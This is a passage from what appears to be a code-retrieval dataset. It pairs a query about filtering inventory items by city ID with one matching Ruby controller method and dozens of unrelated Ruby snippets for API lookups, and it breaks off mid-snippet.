query_id
stringlengths
32
32
query
stringlengths
7
6.75k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
55aec1244da290ad3061d81fc156e074
Find inventory items filtered by a given city ID Example: `curl v H "Contenttype: application/json" '
[ { "docid": "ec83cc32f8acc20057dd2b844ee4c3ab", "score": "0.66767955", "text": "def in_city\n return json_response([]) if (city_items = InventoryItem.where(params.slice(:city_id))).blank?\n newest_item = city_items.sort_by(&:updated_at).last\n Rails.logger.info \"newest_item is #{newest_item.inspect}\"\n render_if_stale(city_items, last_modified: newest_item.updated_at.utc, etag: newest_item) do |item_presenters|\n item_presenters.map(&:hash)\n end\n # explicitly setting the Cache-Control response header to public and max-age, to make the response cachable by proxy caches\n expires_in caching_time, public: true\n end", "title": "" } ]
[ { "docid": "308fac653be77c1c5336e04cad81fd84", "score": "0.6626335", "text": "def near_city\n nearby_city_ids = RemoteCity.find_nearby_city_id(params[:city_id], params.fetch(:within, 15)).map(&:id)\n nearby_city_ids << params[:city_id].to_i if params[:city_id].to_i\n Rails.logger.info \"nearby city IDs (including the requested city itself): #{nearby_city_ids}\"\n city_items = InventoryItem.where( city_id: nearby_city_ids )\n return json_response([]) if city_items.blank?\n newest_item = city_items.sort_by(&:updated_at).last\n Rails.logger.info \"newest_item is #{newest_item.inspect}\"\n render_if_stale(city_items, last_modified: newest_item.updated_at.utc, etag: newest_item) do |item_presenters|\n item_presenters.map(&:hash)\n end\n # explicitly setting the Cache-Control response header to public and max-age, to make the response cachable by proxy caches\n expires_in caching_time, public: true\n end", "title": "" }, { "docid": "95f0395bac0cbd249a2dd9d530dbaa47", "score": "0.63911796", "text": "def index\n res = Inventory\n if params[:search].present?\n res = res.or(\n {item_name: /.*#{params[:search]}.*/i},\n {serial_number: params[:search]},\n {location: params[:search]})\n end\n @inventories = res.order(updated_at: :desc).page(params[:page]).per(NUM_PER_PAGE)\n end", "title": "" }, { "docid": "cbde198ba379faf7a7bfdbcbe170841f", "score": "0.6312445", "text": "def print_org_by_city(city)\n response = RestClient.get\"http://data.orghunter.com/v1/charitysearch?user_key=#{ENV['API_KEY']}&state=NY\"\n response_hash = JSON.parse(response)\n orgs = response_hash[\"data\"]\n orgs.each do |org|\n if org['city'] == city\n puts \"Result: #{org['charityName']}\"\n end\n end\nend", "title": "" }, { "docid": "537cf2586c104396f71ccc4ad31d63cb", "score": "0.6249838", "text": "def woeid_by_city(city)\n final_url = \"#{BASE_URL}/location/search/?query=#{city}\"\n rest_client(:get, final_url).parsed_response\n end", "title": "" }, { "docid": "3850bc6899d84c591c735d35e8670b1f", "score": "0.62116814", "text": "def get_inventory(id, params={})\n validate_id!(id)\n execute(method: :get, url: \"#{base_path}/items/#{id}\", params: params)\n end", "title": "" }, { "docid": "290db3b08800a64bfd80bfab470387a9", "score": "0.5961803", "text": "def activities\n if city = City.find(params[:id])\n items = []\n city.items.each do |item|\n items.push({\n 'id' => item.id,\n 'name' => item.name,\n 'description' => item.description,\n 'type' => item.item_type,\n 'image' => item.image,\n 'latitude' => item.latitude,\n 'longitude' => item.longitude,\n 'schedule' => item.schedule\n })\n end\n\n payload = {\n 'city' => {\n 'id' => city.id,\n 'name' => city.name\n },\n 'items' => items\n }\n\n return render json: payload\n else\n return render json: invalid_request(\"City not exist\")\n end\n end", "title": "" }, { "docid": "ebe0455ced451ba304eff2c3aa18d672", "score": "0.59365517", "text": "def list_inventory(id, params={}, headers={})\n validate_id!(id)\n execute(method: :get, url: \"#{base_path}/#{id}/inventory\", params: params, headers: headers)\n end", "title": "" }, { "docid": "543a1317a79d272ab0cf9df720e05014", "score": "0.5895656", "text": "def search_by_city(city, handler = nil)\n @options = { \n query: \n { \n q: city, \n appid: @auth_token \n } \n }\n resp = self.class.get(\"/data/2.5/weather\", @options)\n if resp.code == 200\n if defined?(handler)\n return handler.call(resp.parsed_response)\n else\n return resp.parsed_response\n end\n else\n raise \"Error while retrieving wheather info\"\n end\n end", "title": "" }, { "docid": "c384ce978d25c9a6744d18c0d71ae15f", "score": "0.58706117", "text": "def search_equipment_by_name(name)\n url = @base + \"/api/v1/instruments.json?token=#{@token}&name=#{name}\"\n puts url\n response = JSON.parse(RestClient.get(url))\nend", "title": "" }, { "docid": "8e466dd4d014383bf56af4d36f638ddc", "score": "0.58695847", "text": "def cities_in_region\n render json: City.where(region_id: controller_params).order(:name)\n end", "title": "" }, { "docid": "d2af45498c5a51e57d78f7aa6ba24cd0", "score": "0.5852573", "text": "def show_city\n\t\tlocation = Coli.where(state: params[:state], city: params[:city])\n\n\t\tif location.present?\n\t\t\treturn render json: location[0].attributes.except('id', 'created_at', 'updated_at'), status: 200\n\t\telse\n\t\t\treturn render json: Hash.new, status: 404\n\t\tend\n\tend", "title": "" }, { "docid": "31deeaf1e2ea9a5f8563156da4edc251", "score": "0.5851436", "text": "def searchCity\n\t\t\t\trequest_city = Typhoeus.get(\"http://sbhacks.opengovhacks.com/api/v1/cities/\" + params[\"city_id\"] + \"/metrics\", followlocation: true)\n\t\t\t\tresponse_city = JSON.parse(request_city.response_body)\n\n\t\t\t\t#Going through all the metrics corresponding with the specific id\n\t\t\t\tmetricArray = []\n\n\t\t\t\t\n\n\t\t\t\tfor metric in response_city[\"metrics\"]\n\n\t\t\t\t\tmetricObject = {}\n\t\t\t\t\tyearObject = {}\n\n\t\t\t\t\tif \tmetric[\"name\"] == \"Rapes\" || \n\t\t\t\t\t\tmetric[\"name\"] == \"Murders\" ||\n\t\t\t\t\t\tmetric[\"name\"] == \"Robberies\" ||\n\t\t\t\t\t\tmetric[\"name\"] == \"Aggravated Assault\" ||\n\t\t\t\t\t\tmetric[\"name\"] == \"Burglaries\" ||\n\t\t\t\t\t\tmetric[\"name\"] == \"Thefts\" ||\n\t\t\t\t\t\tmetric[\"name\"] == \"Vehicle Thefts\"\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tmetricObject[\"name\"] = metric[\"name\"]\n\t\t\t\t\t\t\tmetricObject[\"description\"] = metric[\"description\"]\n\t\t\t\t\t\t\tmetricObject[\"source\"] = metric[\"source\"]\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tyearObject[\"years\"] = metric[\"years\"]\n\t\t\t\t\t\t\tmetricObject[\"years\"] = yearObject[\"years\"]\n\n\t\t\t\t\t\t\tmetricArray.push(metricObject)\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\trender json: {\n\t\t\t\t\tmetrics: metricArray\n\t\t\t\t}\n\t\t\tend", "title": "" }, { "docid": "5e42c1d25616c64aa3ddc4f1c648c601", "score": "0.58513355", "text": "def print_cities\n response = RestClient.get\"http://data.orghunter.com/v1/charitysearch?user_key=#{ENV['API_KEY']}&state=NY\"\n response_hash = JSON.parse(response)\n orgs = response_hash[\"data\"]\n orgs.each do |org|\n puts \"City: #{org['city']}\"\n end\nend", "title": "" }, { "docid": "c68dc40b55c23d2f14e413b87edc12a5", "score": "0.58495504", "text": "def get_sites \n @sites = Site.where([\"city_id = ?\", params[:city_id]])\n\n logger.debug(\"city_id: #{params[:city_id]}\")\n\n respond_to do |format|\n format.json { render :json => @sites } \n end\n end", "title": "" }, { "docid": "17e1ae1279999520f528fd5dbbf12069", "score": "0.5827657", "text": "def autocomplete_location_city\n cities = Location.where(\"city ILIKE ?\", \"%#{params[:term]}%\").pluck(:city)\n render :json => cities\n end", "title": "" }, { "docid": "ddae708d18395077192570a4abe0a77e", "score": "0.5808424", "text": "def search_by_id(id)\n products_param = \"/products/\"\n p = JSON.parse(Net::HTTP.get(URI.parse(URI.escape(\"\" << API_URI << products_param << id.to_s << \"?\" << PARAM_PID << API_KEY))))\n end", "title": "" }, { "docid": "f355dfca7f62ed7c0cf3a379b5471379", "score": "0.579788", "text": "def item_details_from_search(ids)\n Atlas::Place.find_from_search(ids)\n end", "title": "" }, { "docid": "be0347e2112ade8a8c3afc414e6f915d", "score": "0.5794533", "text": "def search\n city = params[:city]\n section_id = params[:section_id]\n @vendors = Vendor.search(city, section_id)\n end", "title": "" }, { "docid": "63cff185ba39377beba743e5283da011", "score": "0.5781949", "text": "def get_accessible_hotels_by_city_id(city_id)\n\toffset = 0\n\thotels_array = []\n\thotels = 1000\n\n\twhile hotels == 1000 do\n\t\turl = \"https://distribution-xml.booking.com/2.4/json/hotels?offset=#{offset}&rows=1000&city_ids=#{city_id}&hotel_facility_type_ids=25&extras=hotel_info,hotel_photos,room_info\"\n\n\t\tresponse = RestClient.get(url, headers={'Authorization': \"Basic XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\"})\n\t\t\n\t\thotels_response = JSON.parse(response)\n\t\thotels = hotels_response[\"result\"].length\n\n\t\thotels_array << hotels_response[\"result\"]\n\t\toffset += 1000\n\tend\n\n\thotels_array[0]\nend", "title": "" }, { "docid": "dda9d32eee8a09e0ccf547886b61ef97", "score": "0.5777756", "text": "def cities\n res = RestClient.get('https://nomadlist.com/api/v2/list/cities/', headers={})\n dict = JSON.parse(res.body)\n dict[\"result\"].map{ |item| item[\"info\"][\"city\"]}\nend", "title": "" }, { "docid": "227636a6f0490335e71534bdfbba670a", "score": "0.5766766", "text": "def inventory_read(id)\n url = \"#{@sal_url}/api/v2/inventory/#{id}/\"\n json_resp_body(url)\n end", "title": "" }, { "docid": "41adc08c1bf78ecf7dd8bcdf0e0025ad", "score": "0.5756527", "text": "def find_many(options = {})\n client.find_many(Spire::Item, \"/inventory/items/\", options)\n end", "title": "" }, { "docid": "63ec40b9176bcd4f2e4374c53d7c9391", "score": "0.5753827", "text": "def index\n included = params[:include].try(:split, \",\")\n city_key = filter[:city]\n if city_key\n render json: fetch_pois(city_key), include: included\n else\n render json: city_key_missing_error, adapter: :json\n end\n end", "title": "" }, { "docid": "8b34cfd8e33818fae9c02310c27e3dbd", "score": "0.5743401", "text": "def query_items_by_tag(companyId, tag, options={}) path = \"/api/v2/companies/#{companyId}/items/bytags/#{tag}\"\n get(path, options, AvaTax::VERSION) end", "title": "" }, { "docid": "ff345c59f1cb665e3913164bccb5c1ab", "score": "0.5735551", "text": "def get_findInventory\n self.class.get(\"/store/inventory\")\n end", "title": "" }, { "docid": "f0432a4d243c9832313f933b792f0a87", "score": "0.5714301", "text": "def get_city_data(city)\n search_city = city\n puts city\n\n dynamo_db = Aws::DynamoDB::Client.new\n\tparams = {\n \ttable_name: \"WorldCities\",\n \texpression_attribute_names: {\n \t\t\"CityName\" => \"CityName\",\n \t\t\"Latitude\" => \"Latitude\", \n \t\t\"Longitude\" => \"Longitude\", \n \t\t}, \n \tprojection_expression: \"CityName, Latitude, Longitude\", \n \tfilter_expression: \"CityName = :city\",\n \texpression_attribute_values: {\n \t\t\":city\" => search_city\n \t}\n }\n\n result = dynamo_db.scan(params)\n puts \"Query succeeded.\"\n\n return result\n\nend", "title": "" }, { "docid": "2bfdb1cdd9189c73ca6e082b18734cf7", "score": "0.5706012", "text": "def city_by_name_and_state(city:, state:)\n client.get(url: \"/city?city=#{city}&state=#{state}&country=USA\")\n end", "title": "" }, { "docid": "cbe1921d72d1b8873b7ad8d9e6f6fab9", "score": "0.57006115", "text": "def inventory \n @inventories = Inventory.where(:item_id => params[:id])\n @item_name = Item.find(params[:id]).name\n respond_to do |format|\n format.html\n format.json { render json: @inventories }\n end\n end", "title": "" }, { "docid": "4e5f73dbd5f31fcd1437e2e67a109d0e", "score": "0.5700235", "text": "def find_item(id)\n self.class.get(\"/items/#{id}.json?apikey=#{apikey}\")\n end", "title": "" }, { "docid": "bde0d484d8ebdf5f42476f53f0f8daf1", "score": "0.56832886", "text": "def itemLookup\n # https://api.si.edu/openaccess/api/v1.0/content/:id\n @header = \"Smithsonian Collections\"\n @body = item_query()\n end", "title": "" }, { "docid": "3a316012e0dea944d06c72e6fbdf27b7", "score": "0.5680982", "text": "def search(company_name, city)\n query = build_query(URI.escape(company_name), URI.escape(city))\n puts \"Query\"\n p query\n\n response = Net::HTTP.get(\"api.glassdoor.com\", query)\n\n JSON.parse(response)\n end", "title": "" }, { "docid": "6d3028f483fbacd57aca824f6c906d0c", "score": "0.56740105", "text": "def weather_by_city(city)\n woeid = woeid_by_city(city)\n if woeid.nil? || woeid.empty?\n return nil\n end\n woeid = woeid.find{ |c| c['title']&.eql?(city) }['woeid']\n final_url = \"#{BASE_URL}/location/#{woeid}\"\n rest_client(:get, final_url).parsed_response\n end", "title": "" }, { "docid": "62f4b79b2a22eb49e65ea2adac2244d8", "score": "0.564874", "text": "def find_item(id)\n get_request configure_payload(\"/items/#{id}\")\n end", "title": "" }, { "docid": "cc4b503e6846a22c47c79a154538c6af", "score": "0.5647161", "text": "def detail_search(place_id)\n self.class.get(\"/details/json?placeid=#{place_id}&key=#{@key}\")\n end", "title": "" }, { "docid": "fcf48936e27a91c3fa2d9f0ca2d9592f", "score": "0.56437427", "text": "def list_inventory(params={})\n execute(method: :get, url: \"#{base_path}/items\", params: params)\n end", "title": "" }, { "docid": "f6c85079dae6407f9158ad335deecb47", "score": "0.5632373", "text": "def call_item_search(keyword)\n\n rg = %w(ItemAttributes Images ).join(',')\n response = @request.item_search(query: {\n 'ItemSearch.Shared.SearchIndex' => 'FashionWomen',\n 'ItemSearch.Shared.Keywords' => \"#{keyword}\",\n 'ItemSearch.Shared.ResponseGroup' => rg,\n 'ItemSearch.1.ItemPage' => 1\n # 'ItemSearch.2.ItemPage' => 2\n })\n\n data = response.to_h\n data[\"ItemSearchResponse\"][\"Items\"][\"Item\"]\n\n end", "title": "" }, { "docid": "2f1b4682f77e45d79d26c82b4dbf655c", "score": "0.56255376", "text": "def search_city_grid(business, zip)\n\n params = {\n :what => \"#{business}\",\n :where => zip,\n :format => 'json',\n :publisher => @publisher_code,\n }\n \n res = HTTParty.get(\"http://api.citygridmedia.com/content/places/v2/search/where\", { :query => params })\n\n data = res.parsed_response[\"results\"][\"locations\"]\n \n if res.success? && data != nil\n\tbusiness_listed = [:unlisted]\n\tdata.flatten.each do |business_name|\n\t\tif business_name['name'] == business\n\t\t puts \"Business is listed\"\n\t\t business_listed = [:listed]\n\t end\n\tend\n else\n\tputs \"Business is not listed\"\n end\n return business_listed\nend", "title": "" }, { "docid": "9a9efe01c7934d1db8e2a110ea7bc1f5", "score": "0.5598624", "text": "def getSpecificVille\r\n m = params[:id]\r\n render json: PpCity.where(city_id: m)\r\n end", "title": "" }, { "docid": "a8e7c3eac84acc1717da592d676164cd", "score": "0.5582769", "text": "def find_cities\n cities = CS.cities(params[:state_id].to_sym, params[:country_id].to_sym)\n\n respond_to do |format|\n format.json { render json: cities.to_a }\n end\n end", "title": "" }, { "docid": "6714835fd5f0ee7d74daad6222d24ea8", "score": "0.5580887", "text": "def universities_in_city\n universities = City.find(params[:id]).universities.order(name: :asc)\n\n render json: universities.to_json(), status: :ok\n end", "title": "" }, { "docid": "41699dd17c12d7e8d1afd1406f087302", "score": "0.55780256", "text": "def item(id)\n get(\"/item/#{id}.json\")\n end", "title": "" }, { "docid": "52805a2b20f2c49ebc513ddd7eba5aa6", "score": "0.5572473", "text": "def search_catalog_items(body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::POST,\n '/v2/catalog/search-catalog-items',\n 'default')\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "title": "" }, { "docid": "7f80a61e97c22063f968d7cf76573fa6", "score": "0.55606496", "text": "def item(id)\r\n BnetApi.make_request(\"/wow/item/#{id}\")\r\n end", "title": "" }, { "docid": "2d2889b45e235b0a014ae116f7a824ef", "score": "0.5555732", "text": "def get_json_city(id)\n find_json_hash(id)['name']\n end", "title": "" }, { "docid": "8e25cbd47ca791a2d3ce55d90600f4d7", "score": "0.55514866", "text": "def find_by_city\n render json: @users\n end", "title": "" }, { "docid": "13fcb21e659759a7a5256e0efd461288", "score": "0.55469066", "text": "def show\n\t\t@inventory = Inventory.find(params[:id])\n\t\tif @inventory\n\t\t\trender json: @inventory.to_json(:include => [:recipes])\n\t\telse\n\t\t\trender status: 400, nothing: true\n\t\tend\n\tend", "title": "" }, { "docid": "d5d707c5a0602a83d2031e1ed759da0c", "score": "0.55316514", "text": "def item_search(item)\n res = Amazon::Ecs.item_search(item, {:response_group => 'Medium', :sort => 'salesrank'})\n p res\nend", "title": "" }, { "docid": "9a7edd7a9fc8ebfe72794263a7bf0621", "score": "0.5530232", "text": "def find_by_zipcode(zipcode)\n response = RestClient.get\"http://data.orghunter.com/v1/charitysearch?user_key=#{ENV['API_KEY']}&state=NY\"\n response_hash = JSON.parse(response)\n orgs = response_hash[\"data\"]\n orgs.each do |org|\n if org['zipCode'] == zipcode\n puts \"\"\n puts \"FOUND: #{org['charityName']}\"\n puts \"\"\n end\n end\nend", "title": "" }, { "docid": "e8351929de5bcbbb10a23010bb32646a", "score": "0.55291754", "text": "def city\n render json: City.find_by_id(controller_params)\n end", "title": "" }, { "docid": "157b356203fe3a01c2f521306d23a7af", "score": "0.5528481", "text": "def search_for_item\n search_service.fetch(params[:id])\n end", "title": "" }, { "docid": "88c89cff73d24c9bac706c6bc84da9ce", "score": "0.551078", "text": "def show\n # id actually contains the city name\n @city = City.find_by_id!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @city }\n end\n end", "title": "" }, { "docid": "c4bcdc9e92cfe4f6b1f816140a0172d6", "score": "0.5507277", "text": "def current_forecast_by_id city_id\n\n\t\t\t# pp \"I am searching for #{term}\"\n\t\t\turi = URI(\"http://api.openweathermap.org/data/2.5/forecast/city?id=#{city_id}&APPID=#{@apikey}\")\n\t\t\t# tell Net::HTTP to GET the URI\n\t\t\tNet::HTTP.get(uri) # => String\n\t\tend", "title": "" }, { "docid": "ecaac0c177edb9c9d89f2b0e77746888", "score": "0.5504474", "text": "def search_catalog_items_with_http_info(keywords, marketplace_ids, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CatalogApi.search_catalog_items ...'\n end\n # verify the required parameter 'keywords' is set\n if @api_client.config.client_side_validation && keywords.nil?\n fail ArgumentError, \"Missing the required parameter 'keywords' when calling CatalogApi.search_catalog_items\"\n end\n # verify the required parameter 'marketplace_ids' is set\n if @api_client.config.client_side_validation && marketplace_ids.nil?\n fail ArgumentError, \"Missing the required parameter 'marketplace_ids' when calling CatalogApi.search_catalog_items\"\n end\n if @api_client.config.client_side_validation && opts[:'included_data'] && !opts[:'included_data'].all? { |item| ['identifiers', 'images', 'productTypes', 'salesRanks', 'summaries', 'variations', 'vendorDetails'].include?(item) }\n fail ArgumentError, 'invalid value for \"included_data\", must include one of identifiers, images, productTypes, salesRanks, summaries, variations, vendorDetails'\n end\n # resource path\n local_var_path = '/catalog/2020-12-01/items'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'keywords'] = @api_client.build_collection_param(keywords, :csv)\n query_params[:'marketplaceIds'] = @api_client.build_collection_param(marketplace_ids, :csv)\n query_params[:'includedData'] = @api_client.build_collection_param(opts[:'included_data'], :csv) if !opts[:'included_data'].nil?\n query_params[:'brandNames'] = @api_client.build_collection_param(opts[:'brand_names'], :csv) if !opts[:'brand_names'].nil?\n query_params[:'classificationIds'] = @api_client.build_collection_param(opts[:'classification_ids'], :csv) if !opts[:'classification_ids'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'pageToken'] = opts[:'page_token'] if !opts[:'page_token'].nil?\n query_params[:'keywordsLocale'] = opts[:'keywords_locale'] if !opts[:'keywords_locale'].nil?\n query_params[:'locale'] = opts[:'locale'] if !opts[:'locale'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n return_type = opts[:return_type] || 'ItemSearchResults' \n\n auth_names = opts[:auth_names] || []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type)\n\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CatalogApi#search_catalog_items\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a3cc430ec75584a25053849eebf88751", "score": "0.55019134", "text": "def cities\n respond_with City.all.as_json(only:[:id, :name])\n end", "title": "" }, { "docid": "d57baa32fa2f6d1e8bff007314bd4855", "score": "0.5496672", "text": "def get_city_from_json\n params[\"request\"][\"intent\"][\"slots\"][\"city\"][\"value\"]\n end", "title": "" }, { "docid": "ae01a02f772cb97839520046838e9051", "score": "0.5496535", "text": "def search_by_location\n location_list\n puts \"SELECT A LOCATION TO SEE ALL PRODUCTS IN THAT LOCATION(USE ID)\"\n search_in = gets.to_i\n results = Product.search_where(\"products\", \"category_id\", search_in)\n results.each do |r|\n r.display_attributes\n end\n end", "title": "" }, { "docid": "7d4d827cb484fce3fcbf83084aff83ce", "score": "0.5496393", "text": "def search\n NetSuite::Records::InventoryItem.search({\n criteria: {\n basic: basic_criteria.push(polling_filter)\n },\n preferences: default_preferences\n }).results\n end", "title": "" }, { "docid": "6e3b314e979e3e3331d1ac65ec6a6500", "score": "0.54936355", "text": "def inventory(params={})\n self.request(__method__, params)\n end", "title": "" }, { "docid": "76eb2dc8363c83ba085d36b258f5253b", "score": "0.549045", "text": "def filter\n head :no_content if !params[:tools].present?\n companies = Company.includes(:tools).where(tools: { id:[ params[:tools]] })\n json_response(companies)\n end", "title": "" }, { "docid": "3a9d83e906da4bac6681efaf437fa51b", "score": "0.5481082", "text": "def pull_from_api(search_term)\n string_response = RestClient.get(\"https://www.googleapis.com/books/v1/volumes?q=#{search_term}&printType=books&projection=lite&orderBy=relevance&maxResults=3&startIndex=0&fields=items(selfLink,volumeInfo(title,authors,description))\")\n response_hash = JSON.parse(string_response)\n response_hash[\"items\"]\nend", "title": "" }, { "docid": "05c0afece200ba2464c27d9cce610019", "score": "0.54771453", "text": "def search_for_term(term)\n response = RestClient.get \"https://www.googleapis.com/books/v1/volumes?q={#{term}}\"\n json = JSON.parse(response.body)\n json\nend", "title": "" }, { "docid": "9d7bc7a2e6ce70a928fa43ccdc91730a", "score": "0.5472653", "text": "def magasin\r\n \tvil = params[:id]\r\n \tmagasin = PpMarche.where(city_id: vil)\r\n \trender json: magasin\r\n end", "title": "" }, { "docid": "cbe26ed10a5d9c083d8a3ab6cc6ba471", "score": "0.54550815", "text": "def index\n food_items = get_food(params[:city_id].downcase,params[:token])\n render_with_protection food_items\n end", "title": "" }, { "docid": "15e98ec4d415b3b6d716af4470ec1f9e", "score": "0.54479396", "text": "def selected_citi_info\n begin\n city_info = CitiInfo.find(:first,:conditions=>[\"city_name ilike '#{params[:citi_name]}'\"])\n rescue\n end\n if !city_info.nil?\n render :json => [{ 'customer_city' => city_info.city_name, 'customer_zipcode' => Integer(city_info.zip), 'customer_phone_number' => city_info.std_code}].to_json\n else\n render :json => [{ 'customer_city' => params[:citi_name], 'customer_zipcode' => \"\", 'customer_phone_number' =>\"\"}].to_json\n end\n end", "title": "" }, { "docid": "79b19a1a1a9d44659eb5724002675bee", "score": "0.54445434", "text": "def search_items(**params)\n request('SearchItems', params)\n end", "title": "" }, { "docid": "895d30fd3409a317b3048e7e6c0f6c04", "score": "0.54417473", "text": "def index\n items = Item.includes(:inventory).all\n render json: items\n end", "title": "" }, { "docid": "cd239f76bc4d538730f544bd6379462c", "score": "0.5441116", "text": "def inventory_list\n url = \"#{@sal_url}/api/v2/inventory/\"\n pg_clc(url) == 1 ? json_resp_body(url)['results'] : paginator(url, pg_clc(url))\n end", "title": "" }, { "docid": "d62b7dd2ec4dc7dc33ea26e3191e0fa6", "score": "0.5432802", "text": "def index\n @cities = City.all\n if params[:term]\n @hotels = Hotel.whose_name_starts_with(params[:term]).paginate(page: params[:page], per_page: 3)\n else\n @hotels = Hotel.where(status: true).paginate(page: params[:page], per_page: 3)\n end\n end", "title": "" }, { "docid": "baa714114ed8e9c7662c2b4eb9c48763", "score": "0.54289633", "text": "def index\n @search = City.search do\n fulltext params[:q]\n order_by sort_column, sort_direction\n paginate :page => params[:page], :per_page => params[:per_page]\n end\n\n @cities = prepare_api_collection(@search)\n\n respond_to do |format|\n format.json { render json: @cities }\n format.xml { render xml: @cities }\n end\n end", "title": "" }, { "docid": "73af0c6b27d782d96b629a2e83d81297", "score": "0.5425377", "text": "def index\n #@items = Item.all\n @items = Item.joins(:card).search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 50, :page => params[:page])\n\n if params[:item_type] && params[:item_type] != \"0\"\n @items = @items.where(\"item_type = ?\", params[:item_type])\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "title": "" }, { "docid": "3417087801f691f258bd8c152b308d49", "score": "0.5416147", "text": "def searched_items\n # search by city_section if that param is passed in (convert city_section string name to key for db lookup first)\n if params[:city_section]\n @the_things = Recipient.city_section_is(params[:city_section]).paginate(default_pagination_params)\n return\n end\n \n @the_things = Recipient.first_name_like(params[:search_first_name]).\n last_name_like(params[:search_last_name]).\n address_like(params[:search_address]).\n health_number_like(params[:search_health_number]).\n city_section_is(params[:search_city_section]).\n paginate(default_pagination_params)\n \n end", "title": "" }, { "docid": "2d4c74fe5edf54da3735dcf1f526a594", "score": "0.5414268", "text": "def items_search (keyword, params={})\r\n url = api_url \"/items/search\"\r\n req = request_params({q: keyword, currency: @currency, locale: @locale}.merge(params))\r\n \r\n feed_or_retry do \r\n RestClient.get url, req\r\n end \r\n end", "title": "" }, { "docid": "e375ef145b85b12e90007aa4b12e9989", "score": "0.54107475", "text": "def item_from_id(id)\n HTTParty.get('http://localhost:8082/items', query: {id: id}) \n end", "title": "" }, { "docid": "1a864788712a9856447a876215fc123e", "score": "0.5402414", "text": "def find_recipe_by_keyword(search_term)\n url = URI(\"https://api.spoonacular.com/recipes/search?query=#{search_term[:name]}&number=#{search_term[:number]}&apiKey=#{ENV[\"SPOONACULAR_APIKEY\"]}\")\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(url)\n response = http.request(request)\n # puts response.read_body\n recipes_array = JSON.parse(response.read_body)[\"results\"]\n get_recipe_ingredients_and_steps(recipes_array)\nend", "title": "" }, { "docid": "d3892cd6496abdf79bc2bc5b2b09fcfb", "score": "0.539708", "text": "def index\n @inventories = Inventory.all\n @q = Inventory.search(params[:q])\n @inventory = @q.result.includes(:service)\n end", "title": "" }, { "docid": "788b09c812b69361eaf8eca743f89061", "score": "0.53951997", "text": "def text_search(type, city)\n self.class.get(\"/textsearch/json?query=#{type}+near+#{city}+airport&key=#{@key}\")\n end", "title": "" }, { "docid": "6f79680341cf14e3596a15c886322616", "score": "0.5392996", "text": "def show\n service = PredictionService.new(entity: 'item', entity_id: @city.id.to_s, num: 5)\n service.call\n render json: service.fetch_from_db(model: :mongoid)\n end", "title": "" }, { "docid": "a551397e9d5e52fc33d20cfb7fcf85bf", "score": "0.5384475", "text": "def find_items(opts = {})\n opts[:params] ||= {}\n opts[:params][:biblionumbers] = opts[:biblionumbers].join(\",\") if opts[:biblionumbers]\n JSON.parse(get\"items\", opts)\n end", "title": "" }, { "docid": "b418f083daa9e875b48d56022c9cd8ec", "score": "0.53792137", "text": "def print_org_by_cause(category)\n response = RestClient.get\"http://data.orghunter.com/v1/charitysearch?user_key=#{ENV['API_KEY']}&state=NY\"\n response_hash = JSON.parse(response)\n orgs = response_hash[\"data\"]\n orgs.each do |org|\n if org['category'] == category\n puts \"FOUND: #{org['charityName']}\"\n puts \"__________________________________\"\n end\n end\nend", "title": "" }, { "docid": "ce20ebb717161a980be21045f86fdec0", "score": "0.5372056", "text": "def search_inv item, type = nil\n object = @inventory.find(item, type)\n if object.nil? and self.can? :equipment\n object = @equipment.find(item)\n end\n object\n end", "title": "" }, { "docid": "396a068f21eaed92b21711ab0d1d3821", "score": "0.5364005", "text": "def searched_items\n # search by city_section if that param is passed in (convert city_section string name to key for db lookup first)\n if params[:city_section]\n @the_things = Donor.city_section_is(params[:city_section]).paginate(default_pagination_params)\n return\n end\n \n # with_state(params[:search_state]).\n # with_priority(params[:search_priority]).\n # is_pending(params[:search_pending]).\n # for_pickup_date_range(params[:search_pickup_time_lowest], params[:search_pickup_time_highest]).\n \n @the_things = Donor.first_name_like(params[:search_first_name]).\n last_name_like(params[:search_last_name]).\n address_like(params[:search_address]).\n city_section_is(params[:search_city_section]).\n paginate(default_pagination_params)\n \n end", "title": "" }, { "docid": "9fb4a3b426ca14d634335aeb1d0eda93", "score": "0.5355284", "text": "def city(ein)\n response = RestClient.get\"http://data.orghunter.com/v1/charitysearch?user_key=#{ENV['API_KEY']}&state=NY\"\n response_hash = JSON.parse(response)\n orgs = response_hash[\"data\"]\n found_org = orgs.find do |org|\n org[\"ein\"].to_i == ein\n end\n found_org[\"city\"]\n end", "title": "" }, { "docid": "60c67c780a5fca8f1bb8bd2406abdabb", "score": "0.5346173", "text": "def items_by_bib_id (id)\n # Add prefix and suffix to id to match id in scsb:\n bookended_id = \".b#{SierraMod11.mod11(id)}\"\n result = self.search fieldName: 'OwningInstitutionBibId', fieldValue: bookended_id, \"owningInstitutions\": [ \"NYPL\" ]\n\n $logger.debug 